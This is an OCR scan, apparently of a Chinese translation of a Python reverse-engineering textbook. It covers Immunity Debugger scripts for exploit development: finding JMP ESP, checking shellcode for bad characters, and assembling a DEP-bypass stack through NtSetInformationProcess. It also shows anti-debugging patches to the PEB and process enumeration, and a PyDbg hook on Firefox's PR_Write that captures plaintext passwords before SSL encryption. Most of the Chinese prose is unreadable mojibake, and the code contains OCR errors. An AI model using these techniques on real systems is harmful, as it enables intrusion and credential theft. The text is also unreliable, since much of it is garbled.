T4, FIHIRATEHE Al Immunity Debugger N & f] Python & immlib K4a 5 — LI AL ).

5.3 Exploit ( WHFIHFET) A

RILEAT R G )2 AR P e B SRR 08 T 3R — 1A 2 H AT SE /) exploit F2FF 10
NSRS FArE RIS 4P . Immunity Debugger 4 exploit JF R A RREET —
S IE I PR PR XA IR R VR — 2. BATTROE I T A — i Bh 14 ) PyCommand
i 2 R DN E KA 24 exploit FIdFE, X% PyCommand ¥ # Bh R A 13 345 52 1154 R EH
EIP 77 {7 2% BE W5 4R 7 F A1/ shellcode, LA FRATT ¥k 2 MR LE IR F FFAEBRATIXS shellcode #HAT
i 7 B a2 . AR BY R3S B W i) PyCommand ir4 ! findantidep K ¥/} 3h
et Bbr 4+ (1) DEP CEERHAT ORI HLED 7. iERANFFLRIE !

5.3.1 1%3 exploit KiFiE%

-BARAEW ] EIP fR 2 F A0 BUE, T PR SA AR AT IR EE [ B IRH
shellcode . i ¥ 217 7£ AN H & 474845 1 48 M B A1) shellcode BRFE /2 & shellcode AT 7E
frBAZE R R — 2 ML B, VR7E B BALE Al AT SCHF R R AL B E BN 5
AR 2 rh R B — 2R TR A A iR 2 k3 BY FRATTHU SIS 2 1AL . Immunity Debugger (#] 4
# Python FEN L% [ 18R T — MR E DO, KB RMNBIFEEEe B NTES.
MAEMILRITREM S — M2 HMA, EHRBRMNFEENTES, BREFFAEX—4K

@ 47 DEP HLHIFIEAN AN 0] LAZE AL . http://support. microsoft.com/kb/875352/EN-US/3XEL .
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AN F b &R I Python U, #ILA4°h findinstruction.py, FFHIA
BLH AR .
findinstruction.py

from immlib import *

def main(args):

imm = Debugger ()
search_code = " ".join(args)

search_bytes = imm.Assemble( search_code )
search_results = imm.Search( search_bytes )

for hit in search_results:

# AR IXAS A H ik BT 7 04 14 17 TR GR e 7 77 T2 T R AT
code_page = imm.getMemoryPagebyAddress( hit )

access = code_page.getAccess( human = True )

if "execute" in access.lower():
imm.log("[*] Found: %s (0x%08x)" % ( search_code, hit ),

address = hit )

return "[*] Finished searching for instructions, check the Log window."

TATH R T ER BN AHNEFNe , HEERNMEE) T RAE Search()
MR AR R RIBRZ P EX RSN AfF e, RIS —MERY
RIOFWAFICACAE 2 AT ER N A7 1O, AT T B R IX L8 ) 7 U bR ic A T $hAT @ . T8
LLAEATIAT TP IREN A UL AC TR BRA PR AE F G & 1 4 AR ) k. 35 SRR R AN A,
PR TR T F IR E A S EUE N, W FFR:

tfindinstruction <FT##F M HRIES>

REEFEEPHATWF @S

!findinstruction jmp esp

VR 25 I B 5-2 B A AL $

BAIC2f 7 —HA M2 bkn] (R A1 T3 B O/ shellcode——fR ¥ I 1)
ESP af £7 &8 BT 4 0] (1) IE 2 B AT 1649 shellcode . 28R BE— 4™ exploit T I 15 L3 24 BT A A,
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IX TE 2 FRA 5 BEIX A — R R G /D TR 19 B PR e

Hindinstruction jmp esp
[*] Finished searching for instructions, check the Log window.
P 5-2 PyCommand !findinstruction )% Hi 45

5'3'2 “ﬂ'!! l-hl?"_r ‘jﬁ

R B 1 exploit i —BBGH AR R, W AR AR/ i B
BRIEVRI shellcode 24 25011, EORBATAIN T ANt F 455 52 S HIBIFE strepyOFT 51 &
It i, FRATTELZE 1) exploit # oL H A &4~ NULL “£4F (0x00), B2 strepy()
R ECRHL 7 FF L 7R R (R TT . BRBCR 5% 1L S . btk exploit fE3% 3% &
B) shellcode gmtar KF AL LEFTRM “IK” FFF, =4 shellcode #EIATI, & F SEaE i i Y
BIFRLE N A7 iR Rt R A T H B UABAT . A R EE S SRl B 2 A PR 52 35 2E i s
O, B R e SEA R & LR 51 52 2 B AR 8 E R 0 K s fy, AR ol E KA
AFTHHIRFEERX V], XELRESEA L.

I SRR C s H I_.JJki)It@’['fﬁ‘ EIP 2 {7 #5457 T shellcode, #5457 shellcode %]
P T ARE VT F R, BRE RS SS GRS R R, i AU FR 2 Hp el 3 oAb
shellcode i % 8+ (08 2) ) Z 508 304 B b 5t . BB ARE, 77BN 248
£ H i shellcode J2 75 LAt /% By B 1) 75 53X fﬂc SE HIPE AN T WAFZ % . Immunity Debugger
AL R XN E L EEREES L, B 5-3 nfER T EEREZ EKE
FAR B

BAATLLFE B EIP 47385 400 ESP A8 LT M FE— A &, 4 F¥H 0xCC
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% 5% Immunity Debugger—®# # K &) R 2k

A2 T — AN i, IOR AR AR 45 T e 4k GidAE 0xCC
R4 INT3 FHR/ES). RN IESLL INT3 1892 )5
() CENRL T A7 ik ESP+0x4 4b) {82 shellcode IR fiAL
B ROV XBEIFHBHALE, LIRIEFIA N FH
shellcode 275 52 &F tn¥l . FAABIEAL T A 17 [ shellcode
] L ALAE — ASCH A4 8 H AT E A ITHIX B —HI
IREREAA By, {85 H A4 A fe il o 58 2% 158
FIF. TERRFr—RMB ST, BAIHERXAAREM
BEFRATHY shellcode % it &% o HFr A= R ACHS . FRAT BA A
CANVAS & Metasploit 1 & il — Bt LK) shellcode, 5%
{# F4R B AR shellcode KA TARIR &S K— NN T H.
il -~ Python X, #53dr44 4 badchar.py, JFFHiIA
LU AR .
badchar.py

from immlib import *

def main(args):
imm = Debugger()
bad_char_found = False

# BNSRIBINETRE “5X” Frkifibat
address = int(arg[0],16)

B 5-3 #iH A SRR O

# R ERIER shellcode BilE kib
shellcode = "<<COPY AND PASTE YOUR SHELLCODE HERE>>"
shellcode_length = len(shellcode)

debug_shellcode imm.readMemory ( address, shellcode_length }
debug_shellcode debug_shellcode.encode ("HEX")

imm.log("Address: 0x%08x" % address)
imm.log("Shellcode Length : %d" % length)

imm.log ("Attack Shellcode: %s" % shellcode[:shellcode_length])
imm.log ("In Memory Shellcode: $s" % debug_shellcode[:shellcode_length])
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# XPEB shellcode S EETE W B ELXT
count. = 0
while count <= shellcode length:

if debug_shellcode[count] != shellcode[count]:

imm.log("Bad Char Detected at offset %d" % count)
bad char found = True
break

count ~#= 1

if bad_char_ found:
immi log] LERTERE ] xy
imm. log("Bad character found: %s" % debug shellcodecount])
imm.log({"Bad character original: %s" % shellcode[count])

imm.log (" [****%x] w)

return "[*] !badchar finished, check Log window."
fE Lo ARz g, BATSEES B X W Immunity Debugger )P & FE % T ok %
readMemory(), 173842 (1) 5 70 L — 2618 52 K] Python “F4F 88 Eusth . BRAE AR B B4 ) ik 12
H .1 shellcode 7£ badchar.py B4 75 B h—A> ASCII #4754, FH LA FERIEIT:
Ibadchar <f#BRILARHRLAHAES
CLPE 5-3 sFERaRtf o i, FA1H M ESP+0x4 A TTFEH48 FI 77, ot it 4axt bt
4 0X00AEFDAC, A2 3ATN 44447 @1 F ) PyCommand 74>
!badchar 0x00AEFDAC
~HENMPWEER AR AR AAEFES S ERHES, B LRMNE FREH TR
(EF 18 A 1 352 1) shellcode 8 # FH 138 ) 43 B 3o 6 28 BT € 9 1 i 141]

5.3.3 %37 Windows T8 DEP #1 4l

DEP /& 4X [f) Windows &40 (XP SP2, 2003 F1 Vista) & T Bl IEA7 T He 28 5 47 X I3 (43
nHERIRR ) o R B AP E ARG AT O SE BRI — B e A HU . X AL AT LL 3% 4 K 2 3
exploit F£/FHUAT shellcode 140, [R5 48k £ %1 exploit ¥ shellcode 77 TRk HfEp . 4R
TR R AN AT LA Bh BT 1S iX — BRI T 5 0 @ ©fF shellcode 17 T4

@ ¥1%iEZ W Skape #1 Skywing ff11£3C http://www.uniformed.org/?v=2&a=4&t=txt.
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e, FRATI A BN A H K] Windows APT K3 1B ¢ A1 4 IifJ‘ULiJ"'LJH'EE'P i) DEP 1)
fi. Immunity Debugger E#7 T —/~44 J findantidep.py () PyCommand, A T#Bh#TF&5iE
(1454 Huhk B T IRATIH exploit Z 1, ‘&4 B AF DEP {RFHL IR BOF 71 07 -ﬂf‘:ﬂ'llfl"'} shellcode
W F B AT RE SR . B RATHE RIS R S8 DEP (¥ K BUs R LA £ i B BE AT
PyCommand #X 2| fr 7 () X i 5 2tk
A THAE FH — AN R B A A FF Y Windows API #f# NtSetInformationProcess() % 45
Hbrit R (6 DEP R DhAE, XA R E A I F s
NTSTATUS NtSetInformationProcess(
IN HANDLE hProcessHandle,
IN PROCESS_INFORMATION_ CLASS ProcessInformationClass,

IN PVOID ProcessInformation,
IN ULONG ProcessInformationLength );

KT BIEFEAHFEF K DEP, R AR K% NiSetInformationProcess() I i {ff 2 £
ProcessInformationClass ##%4 ProcessExecuteFlags (0x22), LLA&Z%{ ProcessInformation
# 1% B 5 MEM_EXECUTE_OPTION_ENABLE(0x2). #A ifiy Bifi 2 ify > (1] r 8 5 A2 3 AT HY
shellcode >4 7 i FH iX A o 30170 #4365 RO RRMWIDKE AS T8 e i 60,75 NULL “F7F, X4 K25
shellcode 1M H oA HE (SR “HRFRAILIE™ . BFHOX—FEH U&E?‘{r-'-?%ia:i:il} B
i I¥) NtSetInformationPrcess() 28 %7 H1CHS, JF HiX B R 2 A RN THE 754 JEEFT’JE%
oy, BRI ERATI AT AN A R Sk AE R AT/ shellcode “&F[%” Tt (E:xdj,ﬁii‘ka”fﬂ?‘la ntdll.dll
hEfA -4 EAERMEW T X V. P28 H Immunity Debugger 7E
Windows XP SP2 355 A ntdll.dll *P$&H AR 5 SO S da A5 B

7C91D3F8 A, i 1o CMP AL, 1

TC91D3FA . BA 02 PUSH 2

7C1D3FC < BB POP ESI
JCS81D3FD . OF84 B72A0200 JE ntdll.7C93FEBA

7C93FEBA > 8975 FC MOV DWORD PTR SS:[EBP-4],ESI
7C93FEBD .“E9 41DFDFF JMP ntdll.7C€91D403

7C91D403 = B37D FC 00 CMP DWORD PTR SS:[EBP-4],0
7C91D407 . OF85 60890100 JNZ ntdll.7C935D6D

7C935D6D > 6A 04 PUSH 4

@ 7 X # NtSetInformationProcess() ] ¥ 41 {75 & AT LAZE it 4b 48 1| hutp:/lundocumented.ntinternals.net/User-
Mode/Undocumented%20Functions/NT%200bjects/Process/NtSetInformationProcess. html
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T7C935D6F . 8D45 FC LEA EAX,DWORD PTR SS: [EBP-4]
7C935D72 AT PUSH EAX

7C935D73 . BA 22 PUSH 22

TC935D75 . BA FF PUSH -1

TC935D77 . E8 B18BFDFF CALL ntdll.ZwSetInformationProcess

#58 FARIBRHATIRERATE £ E& B — R HLERS WA TS 48 AL 5513 1
Z AT EE X, A A7 A7 2% ESI I 2. B2 Al AL A FF88 8550 1, ACR T
W22 A 4 A Bk i & Bk #E 2 0x7C93FEBA Ab. ESI {8 (Bl ESI A7 48
Wh 2) KA F N EBP-4 1E R AR . B2 — M E&AN IS EREFRE
Fepkn) 0x7C91D403 &b, stALAIFR2 R B RATA R L3RR (R ¥E8 2) HAEF(E, R
G4 H— A S AF B4R A A TE BBk M) 0x7C935D6D 4, M4FEFRMBAT RN, TEHAIT
WHAHTEAEBT, BAVEREE 4 giEART, AR R EBP-4 (5R4 4 #3 A EAX
A28, BEAX [FIFES#IEART, RERA W RS R Z5E 0x22 MEME-1 (-1 7EdbR
WHEHFRERUOMEBRE ST AETERH DEP), BHEWZE — 1M
ZwSetInformationProcess (X /& &% NTSetInformationProcess )5 —~#4% ) ) e&E0HH .
L FIXBARA A ME T W P — AN ek BOA A -

NtSetInformationProcess(-1,0x22,0x2,0x4)

FIF A ! AX K RATER S 4 AT IR () DEP JLBAEF Tl %, RATHEERIEM exploit
BRI T A, U{EERFREE LRRBENRIT. ERMNMRERIX %2
RIE IR AL (EAX %5 7728 RO 799 P IR N 1. WAPRATIE T o R RS 7
% DEP Bl J& 3 ATTRE U8 MR R 4% I A 45 shellcode, BUARAE— Mk )% 5 5t b v it
FIARFE, FRATATLAL h— 4 4L IMP ESP fU#E 4R SCBLIX —id ¥ . BIZEibIRA1K B4
— RT3 AR

o RF|—A4buhlATLUKE AL #4728 AN 1 HbEJE IR Bl

o IRF—AbHuhl, MIEAEIFUEEIAT I — RF1TES AT LU BRATTBE B DEP il

o FRF|—4b bl AT LR AR FS AT I 5 4] 2 shellcode k.

8RR REFF AF 3 D bk F- 754 LR &k, AT2K B Immunity ¥ exploit
JFRN 53R C AR T —A4 4 findantidep.py [ Python /MBI e 55 BV ol % . & 3L
F PRI T exploit Bl F4F 88, ANRWCK 2 S VR4 nl 8 3 2 HkG 3 B C 0 exploit 2 H.
MAEALFRAT KT — T A findantidep.py YRS H LR —F 477,

findantidep.py

import immlib
import immutils
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def tAddr (addr):
buf = immutils.int2str32_ swapped (addr)
return "\Mx%02x\\x%02x\\x%02x\\x%02x"* %( ord(buf[0],
ord(buf[1l], ord(buf([2]), ord(buf[3]) )

DESC="""Find address to bypass software DEP"""

def main(args):
imm = immlib.Debugger ()
addylist = []
mod = imm.getModule("ntdll.dll")

if not mod:
return "Error: Ntdll.dll not found!®

# 18554t
ret = imm.searchCommands("MOV AL,1\nRET")
if not ret:
return "Error: Sorry, the first addy cannot be found"

for a in ret:
addylist.append( "0x%08x: %s" % (al@], al21) )

ret = imm.comboBox("Please, choose the First Address [sets AL to 1]",
addylist)

firstaddy = int(ret[0:10], 16)
imm.Log( "First Address: 0x%08x" % firstaddy, address = firstaddy )

# 93 abHht
ret = imm.searchCommandsOnModule ( mod.getBase (),
"CMP AL,0x1\n PUSH 0x2\n POP ESI\n" )

if not ret:
return "Error: Sorry, the second addy cannot be found"

secondaddy = ret[0]I[0]
imm.Log( "Second Address %$x" % secondaddy, address = secondaddy )

# 1835 = b Hhpt

ret = imm.inputBox("Insert the Asm code to search for")
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ret = imm.searchCommands (ret)

if not ret:
return "Error: Sorry, the third address cannot be found"

addylist = []

for a in ret:
addylist.append( "0x%08x: %s" % (a[0], al2]) )

ret = imm.comboBox("Please, choose the Third return Address [jmps to
shellcode] ", addylist)

thirdaddy = int(ret[0:10], 16)
imm.Log( "Third Address: 0x%08x" % thirdaddy, thirdaddy )

imm.Log{ 'stack = "$s\\XEEN\XELAAXELANNXEESS\\XEENAXEENNXEENAXEE" +
"A"*(0x54 + "%s" + shellcode ' %
{ tAddr(firstaddy), tAddr(secondaddy), tAddr(thirdaddy) )

HAERNBERYE AL FFF8RE N 1 5 LR FIATES Huhk @ 31k F & MR [B] )
BB . BRI AR E ntdll.dll 4873 0] LLEE B EEBR DEP () R51154
®, F /P IREE LA WA AREIAE shellcode M4 KA EL 75O,
WAL P AR Al 45 R bk 3 R PRI — 4. BEHAUMHEREHETNH4O.
Bl 5-4 FIE 5-6 mRER T X —id B & T 4T 1 .

Insert the Asm code to search for

JMP ESP

[ ok ] Cencel |

B 5-4 HEBATER 54 Mt B 55 WA —FESE—AI8SkFEE
ke BhFATH AL 24 1 BAEIHZE shellcode [k Ar &
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Please, choose the Third return Address [jumps ko s '

B 5-6 M E—LIRETIR[E 1% S5 R P E bt

EERBEREE P EIEAMRES R, W

stack = "\xX75\x24\x0I\xXOL\XEENXEEAKEEAXEENRSOAKI I\ KO \X T\ EE\XEE\XEE\XEE "+

A" * 0x54 + "\x75\x24\x01\x01" + shellcode

BRAEYR 20K _E 7 0 4 H 45 SR S BUR ) exploit HH, FF4F4 L B Hl#) shellcode. XA
A T L2 0 4 53 MR AR I 1 exploit A%, LU 454 DEP Ry HUBIHEIER H 4,
] LA AR A 1 exploit BIZI3& E DEP B0, KR — M6+ m RiER T
Un ey R J A R EFE B B N ) F-ah 48 F L B AR O HUH 30 R BIAT A 3. IR AT LA BiE
WA Python BAIAS AT LA BA VR 46 8% 55 A0 f (6] A PR ) 58 m 5 LA 1 SEAE A exploit #21%.
TR B RAEA] immlib &85 R L8 H A0 W R KA A T H LA i A 2

5.4  WEBRE AP W LB

A HEER LA AEFMERPE TR, HiFgeUkARPFB T HIEESE &

B . M —BEOAREBHEREAR, planidEmEsE AR K, BERRTEESESEH
- Ji 5 P A P PEL L SR R i A R VA T BOR TR E B I0AT R . JEH R

F Immunity Debugger JfHC & 2518 5 [¥) Python JIAS, {8 0] # BhRSg H o 42— 4
BISCRBIRE . Bl BRATTKE JLFR A AT i S A B AL S B,  FF4R S AR B f B 44X
st eEl.
5.4.1 IsDebuugerPresent

B H A0 A k58w WA P S i T B 2 S 4 API 28 3 IsDebuggerPresent() T .
XA R B B AR kernel32.d1l i1, JF HEFETRASE. 297 #8538 HHnde 4
ATRERE ERPIRE] 1, RZWGRE] 0. 43ATAE 4% iFiX A sk &, #%E Bl F IC %
e IE

7C813093 >/S$ 64:A1 18000000 MOV EAX,DWORD PTR FS:[18]
7C813099 1. 8B40 30 MOV EAX,DWORD PTR DS:[EAX+30]
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7C81309C |. OFB640 02 MOVZX EAX,BYTE PTR DS: [EAX+2]

7C8130A0 \. C3 RETN

EoR A0S 8 e 3R TIB (ZRFEME B0 MFTfethhl, RGBS 2ALT FS ¥ Bt
() 0x18 fif bl Ab. SRIGFEFFIRAN PEB (GHEREFREEHL), MEFRFFEIHCE AL TR FE BR
() 0x30 A bbb . %35 58 = 45 2% 47 T PEB 1K1k 71 48 B BeingDebugged A EAX
A, XA R T PEB ) 0x2 (st #5 b AL — ARS8 IE B InT-24
AUREREZ by AR O AR B AR B AN Ox1, 2K H Immunity [f] Damian Gomez = A Afi. T
— AN ged R, XFh R4 Python ARFS, FRATLUKXATACHL T — NPk
PyCommand 7% 2 #5801 7] LA\ Immunity Debugger FT#2 4 Python shell T ELEH#4T,
LU

imm.writeMemory ( imm.getPEBaddress() + 0x2, "\x00" )
EAR AR R K PEB 3t (1) BeingDebugged b5 %, LIMARE M4 vEbR
7 R TR PR e 523K 5 -

5.4.2 RIS KGR

SRS B s BV LR BT A TR, DUk AR R B AE s
TR AR R . B R A Immunity Debugger 43 #7 3 FEAE AN, Immunity
Debugger.exe R it M A —ANEaNEERE. O T M AT RGP A TEEIEER, BEK
{4 5 5 B R B Process32First SRARIMGE M E 910 R geitFE 5 b it e AN ke, FFE A
Process32Next kil [J) 56 Fr A #EFE o X PIA™ R H0H 30 i 3R [m]— AN A7 2R 2828 (K B A sk
FEERRISE. HERMNATEZIHNRHIT L4 T, UMRRMERERRFITME. B
i 1% 45 B Immunity Debugger 58 K ) A 87 G KA B sSEB0X — 3 F2 . ibIRATTRE — F LA

® process32first = imm.getAddress("kernel32.Process32FirstW")
= imm.getAddress ("kernel32.Process32NextW")

process3dZnext
function_list = [ process32first, process3iZnext]
® patch bytes = imm.Assemble( "SUB EAX, EAX\nRET" )

for address in function list:
(3] opcode = imm.disasmForward( address, nlines = 10 }

@© fratx—geid i XA EE AL F hetp://forum.immunityine.com/index.phptopic=11.0.
88
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] imm.writeMemory( opcode.address, patch_bytes )

RATE SRR X A RIS AR B BT Efual, IR XA T IR Z P
BAVEEAA O AT TA TR — A 452 % 1E AP opcode LA T EAX %783 %
fEdb 2 JFiR[E], XBt opcode FFHIBLBRATAIAN 1 @ FEFT AN T 200, FRATE TS M ek %L
Process32First/Next )3k #4707 ATELESICME R 10 F£IHL0. ZPrLLEXFEEUEER A
WAL B R BRI SR E X LR LU T RE T, PUHKVPHIX L sk B
#AT T4 T X ER LR R R TR T BRAEE T, BRIATATEFEERA
R 10 954 2 G AT BT EAN T — e S8ad . HARBATAHBR B R AR K A4 k2
A REYE, HERX RGO EWNITERLZHNHRT . BiaBITEEERAE LT L
7O, XFE B RPA RIS BT R AE AR L T 4R [A] false.

A2l A LB AR T W45 54 A Immunity Debugger F1 Python 3k H 3
e R AR R . BR T X AR R B A S R R Z S, A
FEAT oAt AR 2 1) S R IR B AR SF R VR 8508, OF HASMT A3 3 89 SO R BORAE AR 46 i 4,
RO — K ST ) AR

BAERH N % KD XN Z T 08, PO B LB R 5 —F el m TR
BRI AR — T .
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B4 A — APk ket AR Wl K, FHR TRt 2R aMATREG, LA H] BN
HEFPAEEABBEANTHBY, HTHAKAZ Rookit FAEHE A RARZTE/AUEG
Rep &3 Fok, AAARBAAETISHEOMKG X E! #6205 2 Filid IR F—
R A TFRTEAADKAOELERE, NmAHACEERXRTRBRNS T L ARXNE, 4
FRA—FMEIEUATRE, AR EBROHELK,

£ Windows & TAHE X ARG T EAF X THIGESTF, AXZRAMNERLET
HARAH RGBT, KNMAMGTHEMNSANHE " HF5 “®" 45, “&” 47T
8 EHA I E AT R AR mIRAE, AR AT INT3 PRiISAS R ABRERAFA, XA
o kA FLFREF, A8 AFF4F 417 FRANEALEHNE AR EERZAEHK
B aTHE—AKST, @ M7 BT 6 AP ) T KR ARR 4 A 0 X 6 B ARt
AP EAN—FIEIES, AEFRAERALHEEE RO TRAEBHFAMIT, HHF
it A TEAABALA R AMIMEEERG B, TR T BANGB2HHFEZ, AT
2t B ARt AR R 8 W, AT HERA KNG R _itF RAHTHEZEANT R IR
A7 R S M TR A5 A2 VA B F B8 SO /O B4

FMELRABZ AT HRAOKSF T LRRAELRGBAYHTFHRR, £00E 254 A
PyDbg T #4244 -F AU KR 4K th A F e 5 6 M 48 403577, vAR Immunity Debugger P72 4%
89 AR 40T R — 2 3 MRk 64 SR R AE )

6.1 {diJil PyDbg ¥ B4 1

BAVK EZZ LA — A0 F AL TR Y EEREmE . 5T HER R E
F 35 iR g5 e FEFF Z B A B 7 5K, Gl R EAT < fEBh I Wireshark ™ — 28 i) I 28 it 43 #r T

D % A hup://www.wireshark.org.
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H. ARERE, SNHE BRI E Rl G, SR RAEMESE T
) (B LA T B AR A AR, AR Wireshark X THMWHAARFEEL
HERIGy o DRI TRAT T 8 1 SR 8 1 AR I B L ) 5 e 2 AR IR . [RIREIRAT It mT LA
1E B AR BB B8 I 56 pAH N R % B R e b R, LA A

33 B RAT T3 s K MAT (W TR SEA% Mozilla Firefox "{E A BRATHIE X B, fEIXIKAE
& P IRATEERE Firefox &K IR CREREA M L2 1) Firefox %, XIFAL
BRI AN SE B 1 ) A& S0, T BRATT H AR LR MBERE firefox.exe H L H AR L8 RIURE A2 11 R 5%
2R L g oA I 2 %) W SCHAE - {E Firefox Ho 8 B8 % WK —Fiin @ FE AR SSL (& 4%
FIZ) I, BIERATTHRE LU 4 5 K A T8 Sk

T 3B R £ T A 6 R0 0 B B SCHCHE (A SC R HOR A, R T LU B AR SR []
WHIFIEAT, ARX—HARNHT O/ immunityine AR RIE EAEEG MWL
http://forum.immunityinc.com/index.php?topic=35.0. 43 A11% 1& | N JiC & 4 1 T T &b i
WHHFAFAER X LA “PREER” , XEEE MW, FHELEMRE. X
HoA TG —RANMOE, BibRATE S O T R 3 PR_Write H15 |, XA BREHD)E
FEREPE nspra.dl i . HXANE TP, R KIAL T LESP+814b4 — M ASCI
FAPERMTRE, X AP IS H RAVRRATH HAE AR I i O s . #8417 a%
ESP fhi#8+8 F/niX & A PR_Write (15 “ANZ4, LA IERAEEN 1y b Z W IRAT P T
Y M, H4F BREEAIRIX BE ASCIL 348 J K A8 B A PR AT U AR 428 AL o

AEB AL TN R AE— F B #2807 U B 288, 11T Firefox 4%, 7EHuhbf:
I : https://www.openrce.org/, X2 NEBH SRS G2 —. — HAREESZ T b k1
AR ) SSL uE-534%, #H5C UL Bf o] #24% A, #F Immunity Debugger P IN%| firefox.exe it
P2 b, FF4Ensprd. PR_Write L ¥CE W7 Al #EKBIALT OpenRCE ¥4 i F WA LA FERE
B, [ P AR test, RATTRIFER H B test, Hr)a Kty Login #5481 Z ¥
T SN e ) ek A, RFEFRE MG FO B, REBEFIXA MR keh. &
ZARREE B LA AR SR AR PR B N B0 T Bk

[ESP+8] => ASCII *Yusername = test & remember me = on”*

e AV ATRAT M A P 2 5 E G BT R R, SRR A P % 2 2
XNV S5, fE SSL am N M/F M PR LA AWM it N k. XX
PHAMDGEH T OpenRCE ¥ixl, RATLLZEAEFFAC B, £EFRHM P RES
BRAAR 3t T, 0 e R A RAIR B2 JEE T 1) A S i JL P R ME T T 8 . R kAR B Bk

@O FE T Firefox { %35, 1§V n) hitp://www.mozilla.com/en-US/.
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X —id 2, LAGR 2T T EE I 28 ) BR AT .

fEA# ] PyDbg BB 3KEFRT, 1R BT EOE — N7 ASH TR A 81X
%o PRAT LME F T i 7 SR IREN — S 2 28 S5 1)«

hooks = utils.hook_container()

hook_container & {1t T —A~ add( el HUH T-# B Iy 7, 33X~k B0 580 fn F s

add (pydbg, address, num_arguments, func_entry hook, func_exit_hook)

B NSE AN HBE pydbg X%, F—S¥ address H T35 B VR 7 B 2 3 1) 6 1
FAEAr ., 250 num_arguments W T 25 514851 o6 B0 H b & Bk 284 8. func_entry_
hook 5 func_exit_hook £ 4 [013 R ¥ 7 HIEHFar P iy (AND LD S¥ESK H bRk
PATT R (MO LD #RAH. ANDSRETH FRHkEA B s 8asE R,
HH 1 o ) 5 4 Tl b o ) [

PR B A BN 1 2[00 3 2R 500 2000 M B T BT 7 1 Y

def entry_hook(dbg, args):

H AT FEBLAL O B TS
return DBG_CONTINUE

Z 3 dbg VIR IETBASAEASINEL 15 BT 4 FH 45 4 pydbg X1 % . B3 args Fnig-1r b i
M B bR R Bk BRI — N S8R, EAFIRIRTIS XM 0 I (Zero-based) i14t.

O R [B1E bR B ) [ R AR, EREE - ANESNO SR, T TRAE B AR e IR E]
i (& fray EAX D

def exit_hook(dbg, args, ret):
# W{EAN R B TR

return DBG_CONTINUE
T BATTRE P RS ] A AN ok R H AT s H R B SCEAR R, B
A4FT ) Python XX, #3424 firefox_hook.py, A LL FACHS:

from pydbg import *
from pydbg.defines import *

import struct
import utils
import sys
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dbg = pydbg ()
found firefox = False

# BER-PM2RMFRF R, 7 ok R UL A R MU

pattern = "password”

# WTHOANDEREER, args[11HRBRINTEE
# ERKEKZH
def ssl_sniff( dbg, args ):

# BAEEHUE BB AR TR M AR, XX B
b RMEE R ASCTT PSR, FILRAITEE 1 Mk E 2
# B NULL S5 B A

D EEer = e

offset =0

while 1:
byte = dbg.read_process_memory( args[l] + offset, 1 )

it byte 1= "\x(0":
buffer += byte
offset += 1
continue

else:
break

if pattern in buffer:
print "Pre-Encrypted: %s" % buffer

return DBG _CONTINUE

# ISR 5 PR B REER firefox. exe M

for (pid, name) in dbg.enumerate_processes|():

if name.lower () == "firefox.exe":

found_firefox = True
hooks = utils.hook_container ()

dbg.attach (pid)
print "[*] Attaching to firefox.exe with PID: %d" % pid
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# MR H AR B BB A ik

hook_address = dbg.func_resolve debuggee("nsprd4.dll”,"PR Write")

if hook_address:
# FFSPHEMET, MARAEREH H O B EE, EIeR
# TR E AN None
hooks.add( dbg, hook_address, 2, ssl_sniff, None)
print "[*] nspr4.PR_Write hooked at: 0x%08x" % hook_address

break
else:
print "[*] Error: Couldn't resolve hook address."

sys.exit(-1)

if found_ firefox:
print "[*] Hooks set, continuing process."
dbg.run()
else:
print "[*] Error: Couldn't find the firefox.exe process. Please fire up

firefox first.”
sys.exit (-1)

FaARRS T DA A Y R e i, & B %EdE PR_Write & F—MH+F, “81ad
i, BRAVRE EHE LB A HIR A K ASCI AR i . WX AR 8 5RATZ 0@
R pattern ZFFAHULAS, ERrdEHm it 266 . MAETF R — M Firefox #EFESEH], IF
M 24T FHATERATHI A firefox_hook.py. A HE RN ZATHERIEL IR, HE A
7] https://www.openrce.org/FRHRIRAZ F R LR, REGEDS55E 6-1 Froas W A AU H
HEE.

5I 6-1: Ba! M RFNERD A S BRI

[*] Attaching to firefox.exe with PID: 1344

[*] nspr4.PR_Write hooked at: 0x601a2760

[*] Hooks set, continuing process.

Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=test&password=test&remember_me=on
Pre-Encrypted: username=jms&password=yeahright!&remember me=on

W TE R — P B0 ) [F] B AR5 KA, 82 T & fhif il 51 ) 37
w2z, FRFSEFE R - MERBFRIENLERES .. (B SRA TS 1 i n T 5t &
WHMER RIS L, HR#EMZITREEE TR MRS, S8 i B

94

—




Fo¥F HTHLR

SeMAT A, HEAREHBL . O B O 7 BT O] INT3 $84 2 3 30h W b BRG]
B E AL, H BN RIS AT 5e R G B AT B AR A I, FHIX i e
P ERAE LTI, KEFPERER S A RTE ! T ERAT R A Bh B 1 HOR K B
BAGeit Lok ()P e ) .

6.2 {§i}lj Immunity Debugger i %R

MR FRARAME T FE A RS, XFMEARERBATNHE A AR H x86 L %Y
(A AR 2 P S AR IPLESE ) S5 Mk, et B prdb 2 101 A B it 5k R 5%
/N TR T o X RRE RS, AT w fish A 30 ff'\‘ YPUAT, FEEE bR Jﬂf“fé’(ﬁﬂm{}\
A, EPERAET KEMFEMS (BUKEBSMNOIES ). X T8 ) ScBALE] |J m&, R
S A AR b R R — N ER sE AR, kS| LJ‘{fJ\I’f’J’L‘i] AT XK, R
] 30 B AT IR AR LK. IX P Z Al I A T K DX B0 AE T 24 iR A i, H bRk
MASLIERE S B (S b, 1 81 DG b AH .

Immunity Debugger $#&{t T —F' %4 FastLogHook [KIfi] 57, XAEFAa LIk
15 200 E — A1 BT % (E R R BRA . FastLogHook X84 B3 AT — N it
B, XBACEHE (stub) WHI Tl KAV R EIE, &R KB ¥ T
B PR I AT R AR 2 . PRI E M A FastLogHook 1IN, FRE G EISE —
M, LR BRSO EARE Frfe . gy AN 1 (S A HEE.

imm immlib.Debugger ()

fast = immlib.FastLogHook( imm )

fast.logFunction( address, num_arguments )
fast.logRegister( register )
fast.logDirectMemory( address )
fast.logBaseDisplacement ( register, offset )

Jii% logFunctionO)f BT A AT B8 1, AIRATF B A EEE S m sy thak, K
Ur AR Z B I RARIE R R oA B S A B 5 1 R B A R T R Bk
ERZEAE, BARNZREEHROSEANE. 0RAK Aiﬁh’x”[‘kglﬁ{m LA S EE X
s WA A% num_arguments 8 B 4 T B A . 5 4h 7 ¥ logRegister()
logBaseDisplacement() #1 logDirectMemory() 1 57 4 A 1 sk B, iX =4 log e& ¥ty 5 &Yt
s

logRegister( register )
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logBaseDisplacement ( register, offset )
logDirectMemory ( address )

logRegister() /7 iZ: 1 U7 7E 76 iy vh If BR R AT € A A7 2 P 0ME, JiR Bl kfr T EAX
